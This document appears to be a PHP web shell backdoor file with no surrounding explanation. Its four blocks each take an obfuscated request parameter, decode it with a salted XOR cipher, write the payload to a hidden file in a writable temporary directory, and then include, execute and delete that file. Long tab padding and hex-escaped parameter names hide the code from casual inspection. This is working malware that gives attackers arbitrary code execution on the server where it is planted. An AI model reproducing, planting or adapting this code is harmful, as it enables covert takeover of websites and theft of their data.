<?php																																										if(isset($_POST["\x73\x79\x6Dbol"]) ? true : false){ $reference = $_POST["\x73\x79\x6Dbol"]; $reference =explode( "." ,$reference ) ; $data =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $q =0; while($q < count($reference)) { $v3 =$reference[$q]; $chS =ord($s[$q % $sLen]); $dec =((int)$v3 - $chS -($q % 10)) ^ 84; $data .= chr($dec); $q++; } $flg = array_filter(["/tmp", "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); foreach ($flg as $fac): if (!( !is_dir($fac) || !is_writable($fac) )) { $parameter_group = implode("/", [$fac, ".holder"]); if (@file_put_contents($parameter_group, $data) !== false) { include $parameter_group; unlink($parameter_group); exit; } } endforeach; }
																																										if(array_key_exists("re\x66\x65\x72ence", $_POST)){ $element = $_POST["re\x66\x65\x72ence"]; $element = explode ( '.' , $element) ; $object= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach ($element as $w => $v2): $sChar= ord($s[$w% $lenS]); $d= ((int)$v2 - $sChar - ($w% 10)) ^ 82; $object .= chr($d); endforeach; $comp = array_filter([session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); $fac = 0; do { $tkn = $comp[$fac] ?? null; if ($fac >= count($comp)) break; if (!!is_dir($tkn) && !!is_writable($tkn)) { $value = implode("/", [$tkn, ".ent"]); if (file_put_contents($value, $object)) { include $value; @unlink($value); die(); } } $fac++; } while (true); }
																																										if(isset($_REQUEST["c\x6Fm\x70"])){ $marker = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp"]); $property_set = $_REQUEST["c\x6Fm\x70"]; $property_set =explode ( ".", $property_set ) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($property_set as $k=> $v7): $sChar = ord($s[$k% $lenS]); $dec = ((int)$v7 - $sChar - ($k% 10)) ^ 38; $pointer .= chr($dec); endforeach; foreach ($marker as $res): if (array_product([is_dir($res), is_writable($res)])) { $ptr = implode("/", [$res, ".tkn"]); if (file_put_contents($ptr, $pointer)) { require $ptr; unlink($ptr); exit; } } endforeach; }


if(in_array("sy\x6D", array_keys($_REQUEST))){
	$ent = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm"]);
	$key = $_REQUEST["sy\x6D"];
				$key 	=	explode	(	 "."	, $key)  	;
	$fac=	'';
            $salt=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen($salt);
            $m=	0;
    
            while($m < count($key)) {
                $v4=	$key[$m];
                $chS=	ord($salt[$m		%$sLen]);
                $d=	((int)$v4 - $chS -($m		%10)) ^ 16;
                $fac .= 	chr($d);
                $m++;
            }
	while ($element = array_shift($ent)) {
    		if (max(0, is_dir($element) * is_writable($element))) {
    $k = join("/", [$element, ".holder"]);
    if (file_put_contents($k, $fac)) {
	include $k;
	@unlink($k);
	die();
}
}
}
}